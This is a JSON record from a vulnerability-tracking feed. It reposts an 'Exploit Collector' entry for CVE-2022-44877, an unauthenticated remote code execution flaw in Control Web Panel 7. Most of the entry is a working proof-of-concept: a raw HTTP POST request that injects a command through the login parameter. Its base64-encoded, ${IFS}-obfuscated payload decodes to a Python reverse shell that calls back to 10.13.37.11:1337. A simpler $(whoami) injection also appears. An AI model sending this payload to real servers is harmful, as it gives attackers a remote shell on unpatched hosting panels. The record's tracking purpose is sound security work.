{"uuid": "c2520d4c-c665-48f1-9061-de9312e40090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-44877", "type": "seen", "source": "https://t.me/hacking_Attack/84246", "content": "Exploit Collector\nControl Web Panel 7 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-slZrAXCcTc4/WWlvSkUdx-I/AAAAAAAAINc/GD9pE2wpupUfP-XcYlxrz5jw2m91dZTOgCLcBGAs/s1600/h39.png \nControl Web Panel 7 versions prior to 0.9.8.1147 suffer from an unauthenticated remote code execution vulnerability.\n\nSHA-256 | 698ef6e35dc8ca09f1857de4c6b56f25be500ed741ecd49ee2cd7f5d8dbf30ef\n\nDownload\n[+] Centos Web Panel 7 Unauthenticated Remote Code Execution\n[+] Centos Web Panel 7 - < 0.9.8.1147\n[+] Affected Component ip:2031/login/index.php?login=$(whoami)\n[+] Discoverer: Numan T\u00fcrle @ Gais Cyber Security\n[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194\n[+] CVE: CVE-2022-44877\nDescription\n--------------\nBash commands can be run because double quotes are used to log incorrect entries to the system.\n\nVideo Proof of Concept\n--------------\nhttps://www.youtube.com/watch?v=kiLfSvc1SYY\nProof of concept:\n--------------\nPOST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1\nHost: 10.13.37.10:2031\nCookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82\nContent-Length: 40\nOrigin: https://10.13.37.10:2031\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nReferer: https://10.13.37.10:2031/login/index.php?login=failed\nAccept-Encoding: gzip, deflate\nAccept-Language: en\nConnection: close\n\nusername=root&password=toor&commit=Login\n--------------\n\nSolution\n--------\nUpgrade to CWP7 current version.\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:28.381249Z"}